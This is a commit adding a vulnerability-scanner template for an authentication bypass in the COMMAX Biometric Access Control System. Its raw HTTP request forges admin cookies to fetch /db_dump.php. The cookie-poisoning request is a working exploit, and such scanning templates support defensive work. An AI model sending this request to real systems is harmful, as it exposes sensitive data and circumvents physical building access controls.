Create commax-biometric-access-control-system-auth-bypass.yaml

The application suffers from an authentication bypass vulnerability. An unauthenticated attacker through cookie poisoning can bypass authentication and disclose sensitive information and circumvent physical controls in smart homes and buildings.

Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>

vulnerabilities/other/commax-biometric-access-control-system-auth-bypass.yaml

@@ -0,0 +1,36 @@
+id: commax-biometric-access-control-system-auth-bypass
+
+info:
+  name: COMMAX Biometric Access Control System 1.0.0 - Authentication Bypass
+  author: gy741
+  severity: critical
+  description: The application suffers from an authentication bypass vulnerability. An unauthenticated attacker through cookie poisoning can bypass authentication and disclose sensitive information and circumvent physical controls in smart homes and buildings.
+  reference: |
+    - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5661.php
+  tags: commax,auth-bypass
+
+requests:
+  - raw:
+      - |
+        GET /db_dump.php HTTP/1.1
+        Host: {{Hostname}}
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
+        Referer: {{BaseURL}}/user_add.php
+        Cookie: CMX_SAVED_ID=zero; CMX_ADMIN_ID=science; CMX_ADMIN_NM=liquidworm; CMX_ADMIN_LV=9; CMX_COMPLEX_NM=ZSL; CMX_COMPLEX_IP=2.5.1.0
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "<title>::: COMMAX :::</title>"
+          - "COMMAX"
+        condition: or
+
+      - type: word
+        part: header
+        words:
+          - "text/html"